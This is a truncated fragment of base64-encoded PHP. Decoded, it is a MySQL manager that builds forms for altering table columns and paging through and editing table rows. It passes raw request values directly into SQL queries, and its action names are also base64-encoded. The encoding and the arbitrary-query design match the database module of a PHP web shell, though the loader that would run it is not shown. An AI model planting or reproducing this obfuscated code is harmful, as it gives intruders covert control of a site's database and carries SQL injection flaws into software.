wvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJERUNJTUFMIiAnOyBpZiggJHR5cGUgPT0gImRlY2ltYWwiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkRFQ0lNQUwoTlVNRVJJQyk8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iREFURSIgJzsgaWYoICR0eXBlID09ICJkYXRlIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5EQVRFICgxMDAwLTAxLTAxIH4gOTk5OS0xMi0zMSwgWVlZWS1NTS1ERCk8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iREFURVRJTUUiICc7IGlmKCAkdHlwZSA9PSAiZGF0ZXRpbWUiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkRBVEVUSU1FICgxMDAwLTAxLTAxIDAwOjAwOjAwIH4gOTk5OS0xMi0zMSAyMzo1OTo1OSwgWVlZWS1NTS1ERCBISDpNTTpTUyk8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iVElNRVNUQU1QIiAnOyBpZiggJHR5cGUgPT0gInRpbWVzdGFtcCIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+VElNRVNUQU1QICgxOTcwLTAxLTAxIDAwOjAwOjAwIH4gMjEwNi4uLiwgWVlZWU1NRERbSEhbTU1bU1NdXV0pPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlRJTUUiICc7IGlmKCAkdHlwZSA9PSAidGltZSIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+VElNRSAoLTgzODo1OTo1OSB+IDgzODo1OTo1OSwgSEg6TU06U1MpPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IllFQVIiICc7IGlmKCAkdHlwZSA9PSAieWVhciIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+WUVBUiAoMTkwMSB+IDIxNTUsIDAwMDAsIFlZWVkpPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IkNIQVIiICc7IGlmKCAkdHlwZSA9PSAiY2hhciIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+Q0hBUjwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPk88L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJWQVJDSEFSIiAnOyBpZiggJHR5cGUgPT0gInZhcmNoYXIiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPlZBUkNIQVI8L3RkPg0KPHRkIGFsaWduPWNlbnRlcj5PPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+TzwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iVElOWVRFWFQiICc7IGlmKCAkdHlwZSA9PSAidGlueXRleHQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPlRJTllURVhUICgwIH4gMjU1KTwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJURVhUIiAnOyBpZiggJHR5cGUgPT0gInRleHQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPlRFWFQgKDAgfiA2NTUzNSk8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iTUVESVVNVEVYVCIgJzsgaWYoICR0eXBlID09ICJtZWRpdW10ZXh0IiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5NRURJVU1URVhUICgwIH4gMTY3NzcyMTUpPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IkxPTkdURVhUIiAnOyBpZiggJHR5cGUgPT0gImxvbmd0ZXh0IiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5MT05HVEVYVCAoMCB+IDQyOTQ5NjcyOTUpPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlRJTllCTE9CIiAnOyBpZiggJHR5cGUgPT0gInRpbnlibG9iIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5USU5ZQkxPQiAoMCB+IDI1NSk8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxpbnB1dCB0eXBlPXJhZGlvIG5hbWU9dHlwZSB2YWx1ZT0iQkxPQiIgJzsgaWYoICR0eXBlID09ICJibG9iIiApIGVjaG8gImNoZWNrZWQiO2VjaG8gJz5CTE9CICgwIH4gNjU1MzUpPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9Ik1FRElVTUJMT0IiICc7IGlmKCAkdHlwZSA9PSAibWVkaXVtYmxvYiIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+TUVESVVNQkxPQiAoMCB+IDE2Nzc3MjE1KTwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJMT05HQkxPQiIgJzsgaWYoICR0eXBlID09ICJsb25nYmxvYiIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+TE9OR0JMT0IgKDAgfiA0Mjk0OTY3Mjk1KTwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjx0ZD4mbmJzcDwvdGQ+DQo8dGQ+Jm5ic3A8L3RkPg0KPHRkPiZuYnNwPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSJFTlVNIiAnOyBpZiggJHR5cGUgPT0gImVudW0iICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPkVOVU08L3RkPg0KPHRkIGNvbHNwYW49NT48Y2VudGVyPnZhbHVlIGxpc3Q8L2NlbnRlcj48L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IlNFVCIgJzsgaWYoICR0eXBlID09ICJzZXQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPlNFVDwvdGQ+DQo8dGQgY29sc3Bhbj01PjxjZW50ZXI+dmFsdWUgbGlzdDwvY2VudGVyPjwvdGQ+DQo8L3RyPg0KPC90YWJsZT4NCjx0YWJsZT4NCjx0cj48dGg+TTwvdGg+PHRoPkQ8L3RoPjx0aD51bnNpZ25lZDwvdGg+PHRoPnplcm9maWxsPC90aD48dGg+YmluYXJ5PC90aD48dGg+dmFsdWUgbGlzdCAoZXg6IFwnYXBwbGVcJywgXCdvcmFuZ2VcJywgXCdiYW5hbmFcJykgPC90aD48L3RyPg0KPHRyPg0KPHRkIGFsaWduPWNlbnRlcj48aW5wdXQgdHlwZT10ZXh0IHNpemU9NCBuYW1lPU0gJzsgaWYoICRNICE9ICIiICkgZWNobyAidmFsdWU9JE0iO2VjaG8gJz48L3RkPg0KPHRkIGFsaWduPWNlbnRlcj48aW5wdXQgdHlwZT10ZXh0IHNpemU9NCBuYW1lPUQgJzsgaWYoICREICE9ICIiICkgZWNobyAidmFsdWU9JEQiO2VjaG8gJz48L3RkPg0KPHRkIGFsaWduPWNlbnRlcj48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPXVuc2lnbmVkIHZhbHVlPSJVTlNJR05FRCIgJzsgaWYoIHN0cnBvcyggJGZpZWxkdHlwZSwgInVuc2lnbmVkIiApICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPjwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9emVyb2ZpbGwgdmFsdWU9IlpFUk9GSUxMIiAnOyBpZiggc3RycG9zKCAkZmllbGR0eXBlLCAiemVyb2ZpbGwiICkgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+PC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+PGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1iaW5hcnkgdmFsdWU9IkJJTkFSWSIgJzsgaWYoIHN0cnBvcyggJGZpZWxkdHlwZSwgImJpbmFyeSIgKSAgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+PC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+PGlucHV0IHR5cGU9dGV4dCBzaXplPTYwIG5hbWU9dmFsdWVsaXN0ICc7IGlmKCAkdmFsdWVsaXN0ICE9ICIiICkgZWNobyAidmFsdWU9XCIkdmFsdWVsaXN0XCIiO2VjaG8gJz48L3RkPg0KPC90cj4NCjwvdGFibGU+DQo8aDM+RmxhZ3M8L2gzPg0KPHRhYmxlPg0KPHRyPjx0aD5ub3QgbnVsbDwvdGg+PHRoPmRlZmF1bHQgdmFsdWU8L3RoPjx0aD5hdXRvIGluY3JlbWVudDwvdGg+PHRoPnByaW1hcnkga2V5PC90aD48L3RyPg0KPHRyPg0KPHRkIGFsaWduPWNlbnRlcj48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPW5vdF9udWxsIHZhbHVlPSJOT1QgTlVMTCIgJzsgaWYoICRmaWVsZG51bGwgIT0gIllFUyIgKSBlY2hvICJjaGVja2VkIjtlY2hvICc+PC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+PGlucHV0IHR5cGU9dGV4dCBuYW1lPWRlZmF1bHRfdmFsdWUgJzsgaWYoICRmaWVsZGRlZmF1bHQgIT0gIiIgKSBlY2hvICJ2YWx1ZT0kZmllbGRkZWZhdWx0IjtlY2hvICc+PC90ZD4NCjx0ZCBhbGlnbj1jZW50ZXI+PGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1hdXRvX2luY3JlbWVudCB2YWx1ZT0iQVVUT19JTkNSRU1FTlQiICc7IGlmKCAkZmllbGRleHRyYSA9PSAiYXV0b19pbmNyZW1lbnQiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPjwvdGQ+DQo8dGQgYWxpZ249Y2VudGVyPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9cHJpbWFyeV9rZXkgdmFsdWU9IlBSSU1BUlkgS0VZIiAnOyBpZiggJGZpZWxka2V5ID09ICJQUkkiICkgZWNobyAiY2hlY2tlZCI7ZWNobyAnPjwvdGQ+DQo8L3RyPg0KPC90YWJsZT4NCjxwPic7DQoJaWYoICRjbWQgPT0gImFkZCIgKQ0KCQllY2hvICI8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J0FkZCBGaWVsZCc+XG4iOw0KCWVsc2UgaWYoICRjbWQgPT0gImVkaXQiICkNCgkJZWNobyAiPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdFZGl0IEZpZWxkJz5cbiI7DQoJZWNobyAiPGlucHV0IHR5cGU9YnV0dG9uIHZhbHVlPUNhbmNlbCBvbkNsaWNrPSdoaXN0b3J5LmJhY2soKSc+XG4iOw0KCWVjaG8gIjwvZm9ybT5cbiI7DQp9DQoNCmZ1bmN0aW9uIG1hbmFnZUZpZWxkX3N1Ym1pdCggJGNtZCApIHsNCglnbG9iYWwgJG15c3FsSGFuZGxlLCAkZGJuYW1lLCAkdGFibGVuYW1lLCAkb2xkX25hbWUsICRuYW1lLCAkdHlwZSwgJFBIUF9TRUxGLCAkcXVlcnlTdHIsICRlcnJNc2csDQoJCSRNLCAkRCwgJHVuc2lnbmVkLCAkemVyb2ZpbGwsICRiaW5hcnksICRub3RfbnVsbCwgJGRlZmF1bHRfdmFsdWUsICRhdXRvX2luY3JlbWVudCwgJHByaW1hcnlfa2V5LCAkdmFsdWVsaXN0Ow0KCWlmKCAkY21kID09ICJhZGQiICkNCgkJJHF1ZXJ5U3RyID0gIkFMVEVSIFRBQkxFICR0YWJsZW5hbWUgQUREICRuYW1lICI7DQoJZWxzZSBpZiggJGNtZCA9PSAiZWRpdCIgKQ0KCQkkcXVlcnlTdHIgPSAiQUxURVIgVEFCTEUgJHRhYmxlbmFtZSBDSEFOR0UgJG9sZF9uYW1lICRuYW1lICI7DQoJaWYoICRNICE9ICIiICkNCgkJaWYoICREICE9ICIiICkNCgkJCSRxdWVyeVN0ciAuPSAiJHR5cGUoJE0sJEQpICI7DQoJCWVsc2UNCgkJCSRxdWVyeVN0ciAuPSAiJHR5cGUoJE0pICI7DQoJZWxzZSBpZiggJHZhbHVlbGlzdCAhPSAiIiApIHsNCgkJJHZhbHVlbGlzdCA9IHN0cmlwc2xhc2hlcyggJHZhbHVlbGlzdCApOw0KCQkkcXVlcnlTdHIgLj0gIiR0eXBlKCR2YWx1ZWxpc3QpICI7DQoJfSBlbHNlDQoJCSRxdWVyeVN0ciAuPSAiJHR5cGUgIjsNCgkkcXVlcnlTdHIgLj0gIiR1bnNpZ25lZCAkemVyb2ZpbGwgJGJpbmFyeSAiOw0KCWlmKCAkZGVmYXVsdF92YWx1ZSAhPSAiIiApDQoJCSRxdWVyeVN0ciAuPSAiREVGQVVMVCAnJGRlZmF1bHRfdmFsdWUnICI7DQoJJHF1ZXJ5U3RyIC49ICIkbm90X251bGwgJGF1dG9faW5jcmVtZW50IjsNCglteXNxbF9zZWxlY3RfZGIoICRkYm5hbWUsICRteXNxbEhhbmRsZSApOw0KCW15c3FsX3F1ZXJ5KCAkcXVlcnlTdHIsICRteXNxbEhhbmRsZSApOw0KCSRlcnJNc2cgPSBteXNxbF9lcnJvcigpOw0KCS8vIGtleSBjaGFuZ2UNCgkka2V5Q2hhbmdlID0gZmFsc2U7DQoJJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCAiU0hPVyBLRVlTIEZST00gJHRhYmxlbmFtZSIgKTsNCgkkcHJpbWFyeSA9ICIiOw0KCXdoaWxlKCAkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCkgKQ0KCQlpZiggJHJvd1siS2V5X25hbWUiXSA9PSAiUFJJTUFSWSIgKSB7DQoJCQlpZiggJHJvd1tDb2x1bW5fbmFtZV0gPT0gJG5hbWUgKQ0KCQkJCSRrZXlDaGFuZ2UgPSB0cnVlOw0KCQkJZWxzZQ0KCQkJCSRwcmltYXJ5IC49ICIsICRyb3dbQ29sdW1uX25hbWVdIjsNCgkJfQ0KCWlmKCAkcHJpbWFyeV9rZXkgPT0gIlBSSU1BUlkgS0VZIiApIHsNCgkJJHByaW1hcnkgLj0gIiwgJG5hbWUiOw0KCQkka2V5Q2hhbmdlID0gISRrZXlDaGFuZ2U7DQoJfQ0KCSRwcmltYXJ5ID0gc3Vic3RyKCAkcHJpbWFyeSwgMiApOw0KCWlmKCAka2V5Q2hhbmdlID09IHRydWUgKSB7DQoJCSRxID0gIkFMVEVSIFRBQkxFICR0YWJsZW5hbWUgRFJPUCBQUklNQVJZIEtFWSI7DQoJCW15c3FsX3F1ZXJ5KCAkcSApOw0KCQkkcXVlcnlTdHIgLj0gIjxicj5cbiIgLiAkcTsNCgkJJGVyck1zZyAuPSAiPGJyPlxuIiAuIG15c3FsX2Vycm9yKCk7DQoJCSRxID0gIkFMVEVSIFRBQkxFICR0YWJsZW5hbWUgQUREIFBSSU1BUlkgS0VZKCAkcHJpbWFyeSApIjsNCgkJbXlzcWxfcXVlcnkoICRxICk7DQoJCSRxdWVyeVN0ciAuPSAiPGJyPlxuIiAuICRxOw0KCQkkZXJyTXNnIC49ICI8YnI+XG4iIC4gbXlzcWxfZXJyb3IoKTsNCgl9DQoJdmlld1NjaGVtYSgpOw0KfQ0KDQpmdW5jdGlvbiBkcm9wRmllbGQoKSB7DQoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJGZpZWxkbmFtZSwgJFBIUF9TRUxGLCAkcXVlcnlTdHIsICRlcnJNc2c7DQoJJHF1ZXJ5U3RyID0gIkFMVEVSIFRBQkxFICR0YWJsZW5hbWUgRFJPUCBDT0xVTU4gJGZpZWxkbmFtZSI7DQoJbXlzcWxfc2VsZWN0X2RiKCAkZGJuYW1lLCAkbXlzcWxIYW5kbGUgKTsNCglteXNxbF9xdWVyeSggJHF1ZXJ5U3RyICwgJG15c3FsSGFuZGxlICk7DQoJJGVyck1zZyA9IG15c3FsX2Vycm9yKCk7DQoJdmlld1NjaGVtYSgpOw0KfQ0KDQpmdW5jdGlvbiB2aWV3RGF0YSggJHF1ZXJ5U3RyICkgew0KCWdsb2JhbCAkYWN0aW9uLCAkbXlzcWxIYW5kbGUsICRkYm5hbWUsICR0YWJsZW5hbWUsICRQSFBfU0VMRiwgJGVyck1zZywgJHBhZ2UsICRyb3dwZXJwYWdlLCAkb3JkZXJieTsNCgllY2hvICI8aDE+RGF0YSBpbiBUYWJsZTwvaDE+XG4iOw0KCWlmKCAkdGFibGVuYW1lICE9ICIiICkNCgkJZWNobyAiPHAgY2xhc3M9bG9jYXRpb24+JGRibmFtZSAmZ3Q7ICR0YWJsZW5hbWU8L3A+XG4iOw0KCWVsc2UNCgkJZWNobyAiPHAgY2xhc3M9bG9jYXRpb24+JGRibmFtZTwvcD5cbiI7DQoJJHF1ZXJ5U3RyID0gc3RyaXBzbGFzaGVzKCAkcXVlcnlTdHIgKTsNCglpZiggJHF1ZXJ5U3RyID09ICIiICkgew0KCQkkcXVlcnlTdHIgPSAiU0VMRUNUICogRlJPTSAkdGFibGVuYW1lIjsNCgkJaWYoICRvcmRlcmJ5ICE9ICIiICkNCgkJCSRxdWVyeVN0ciAuPSAiIE9SREVSIEJZICRvcmRlcmJ5IjsNCgkJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj1hZGREYXRhJmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJz5BZGQgRGF0YTwvYT4gfCBcbiI7DQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dmlld1NjaGVtYSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSc+U2NoZW1hPC9hPlxuIjsNCgl9DQoJJHBSZXN1bHQgPSBteXNxbF9kYl9xdWVyeSggJGRibmFtZSwgJHF1ZXJ5U3RyICk7DQoJJGZpZWxkdCA9IG15c3FsX2ZldGNoX2ZpZWxkKCRwUmVzdWx0KTsNCgkkdGFibGVuYW1lID0gJGZpZWxkdC0+dGFibGU7DQoJJGVyck1zZyA9IG15c3FsX2Vycm9yKCk7DQoJJEdMT0JBTFNbcXVlcnlTdHJdID0gJHF1ZXJ5U3RyOw0KCWlmKCAkcFJlc3VsdCA9PSBmYWxzZSApIHsNCgkJZWNob1F1ZXJ5UmVzdWx0KCk7DQoJCXJldHVybjsNCgl9DQoJaWYoICRwUmVzdWx0ID09IDEgKSB7DQoJCSRlcnJNc2cgPSAiU3VjY2VzcyI7DQoJCWVjaG9RdWVyeVJlc3VsdCgpOw0KCQlyZXR1cm47DQoJfQ0KCWVjaG8gIjxocj5cbiI7DQoJJHJvdyA9IG15c3FsX251bV9yb3dzKCAkcFJlc3VsdCApOw0KCSRjb2wgPSBteXNxbF9udW1fZmllbGRzKCAkcFJlc3VsdCApOw0KCWlmKCAkcm93ID09IDAgKSB7DQoJCWVjaG8gIk5vIERhdGEgRXhpc3QhIjsNCgkJcmV0dXJuOw0KCX0NCglpZiggJHJvd3BlcnBhZ2UgPT0gIiIgKSAkcm93cGVycGFnZSA9IDMwOw0KCWlmKCAkcGFnZSA9PSAiIiApICRwYWdlID0gMDsNCgllbHNlICRwYWdlLS07DQoJbXlzcWxfZGF0YV9zZWVrKCAkcFJlc3VsdCwgJHBhZ2UgKiAkcm93cGVycGFnZSApOw0KCWVjaG8gIjx0YWJsZSBjZWxsc3BhY2luZz0xIGNlbGxwYWRkaW5nPTI+XG4iOw0KCWVjaG8gIjx0cj5cbiI7DQoJZm9yKCAkaSA9IDA7ICRpIDwgJGNvbDsgJGkrKyApIHsNCgkJJGZpZWxkID0gbXlzcWxfZmV0Y2hfZmllbGQoICRwUmVzdWx0LCAkaSApOw0KCQllY2hvICI8dGg+IjsNCgkJaWYoJGFjdGlvbiA9PSAiZG1sbGQwUmhkR0U9IikNCgkJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZG1sbGQwUmhkR0U9JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJm9yZGVyYnk9Ii4kZmllbGQtPm5hbWUuIic+Ii4kZmllbGQtPm5hbWUuIjwvYT5cbiI7DQoJCWVsc2UNCgkJCWVjaG8gJGZpZWxkLT5uYW1lLiJcbiI7DQoJCWVjaG8gIjwvdGg+XG4iOw0KCX0NCgllY2hvICI8dGggY29sc3Bhbj0yPkFjdGlvbjwvdGg+XG4iOw0KCWVjaG8gIjwvdHI+XG4iOw0KCWZvciggJGkgPSAwOyAkaSA8ICRyb3dwZXJwYWdlOyAkaSsrICkgew0KCQkkcm93QXJyYXkgPSBteXNxbF9mZXRjaF9yb3coICRwUmVzdWx0ICk7DQoJCWlmKCAkcm93QXJyYXkgPT0gZmFsc2UgKSBicmVhazsNCgkJZWNobyAiPHRyPlxuIjsNCgkJJGtleSA9ICIiOw0KCQlmb3IoICRqID0gMDsgJGogPCAkY29sOyAkaisrICkgew0KCQkJJGRhdGEgPSAkcm93QXJyYXlbJGpdOw0KCQkJJGZpZWxkID0gbXlzcWxfZmV0Y2hfZmllbGQoICRwUmVzdWx0LCAkaiApOw0KCQkJaWYoICRmaWVsZC0+cHJpbWFyeV9rZXkgPT0gMSApDQoJCQkJJGtleSAuPSAiJiIgLiAkZmllbGQtPm5hbWUgLiAiPSIgLiAkZGF0YTsNCgkJCWlmKCBzdHJsZW4oICRkYXRhICkgPiAzMCApDQoJCQkJJGRhdGEgPSBzdWJzdHIoICRkYXRhLCAwLCAzMCApIC4gIi4uLiI7DQoJCQkkZGF0YSA9IGh0bWxzcGVjaWFsY2hhcnMoICRkYXRhICk7DQoJCQllY2hvICI8dGQ+XG4iOw0KCQkJZWNobyAiJGRhdGFcbiI7DQoJCQllY2hvICI8L3RkPlxuIjsNCgkJfQ0KCQlpZiggJGtleSA9PSAiIiApDQoJCQllY2hvICI8dGQgY29sc3Bhbj0yPm5vIEtleTwvdGQ+XG4iOw0KCQllbHNlIHsNCgkJCWVjaG8gIjx0ZD48YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWVkaXREYXRhJGtleSZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSc+RWRpdDwvYT48L3RkPlxuIjsNCgkJCWVjaG8gIjx0ZD48YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWRlbGV0ZURhdGEka2V5JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJyBvbkNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJ0RlbGV0ZSBSb3c/JylcIj5EZWxldGU8L2E+PC90ZD5cbiI7DQoJCX0NCgkJZWNobyAiPC90cj5cbiI7DQoJfQ0KCWVjaG8gIjwvdGFibGU+XG4iOw0KCWVjaG8gIjxmb250IHNpemU9MiBjbGFzcz1cIm5ld1wiPlxuIjsNCglpZigkYWN0aW9uID09ICJkbWxsZDBSaGRHRT0iKQ0KCQllY2hvICI8Zm9ybSBhY3Rpb249JyRQSFBfU0VMRj9hY3Rpb249ZG1sbGQwUmhkR0U9JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJyBtZXRob2Q9cG9zdD5cbiI7DQoJZWxzZQ0KCQllY2hvICI8Zm9ybSBhY3Rpb249JyRQSFBfU0VMRj9hY3Rpb249cXVlcnkmZGJuYW1lPSRkYm5hbWUmdGFibGVuYW1lPSR0YWJsZW5hbWUmcXVlcnlTdHI9JHF1ZXJ5U3RyJyBtZXRob2Q9cG9zdD5cbiI7DQoJZWNobyAoJHBhZ2UrMSkuIi8iLihpbnQpKCRyb3cvJHJvd3BlcnBhZ2UrMSkuIiBwYWdlIjsNCgllY2hvICI8L2ZvbnQ+XG4iOw0KCWVjaG8gIiB8ICI7DQoJaWYoICRwYWdlID4gMCApIHsNCgkJaWYoJGFjdGlvbiA9PSAiZG1sbGQwUmhkR0U9IikNCgkJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249ZG1sbGQwUmhkR0U9JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJnBhZ2U9Ii4oJHBhZ2UpOw0KCQllbHNlDQoJCQllY2hvICI8YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPXF1ZXJ5JmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVuYW1lJnF1ZXJ5U3RyPSRxdWVyeVN0ciZwYWdlPSIuKCRwYWdlKTsNCgkJaWYoICRvcmRlcmJ5ICE9ICIiICYmICRhY3Rpb24gPT0gImRtbGxkMFJoZEdFPSIpDQoJCQllY2hvICImb3JkZXJieT0kb3JkZXJieSI7DQoJCWVjaG8gIic+UHJldjwvYT5cbiI7DQoJfSBlbHNlDQoJCWVjaG8gIjxmb250IHNpemU9MiBjbGFzcz1cIm5ld1wiPlByZXY8L2ZvbnQ+IjsNCgllY2hvICIgfCAiOw0KCWlmKCAkcGFnZSA8ICgkcm93LyRyb3dwZXJwYWdlKS0xICkgew0KCQlpZigkYWN0aW9uID09ICJkbWxsZDBSaGRHRT0i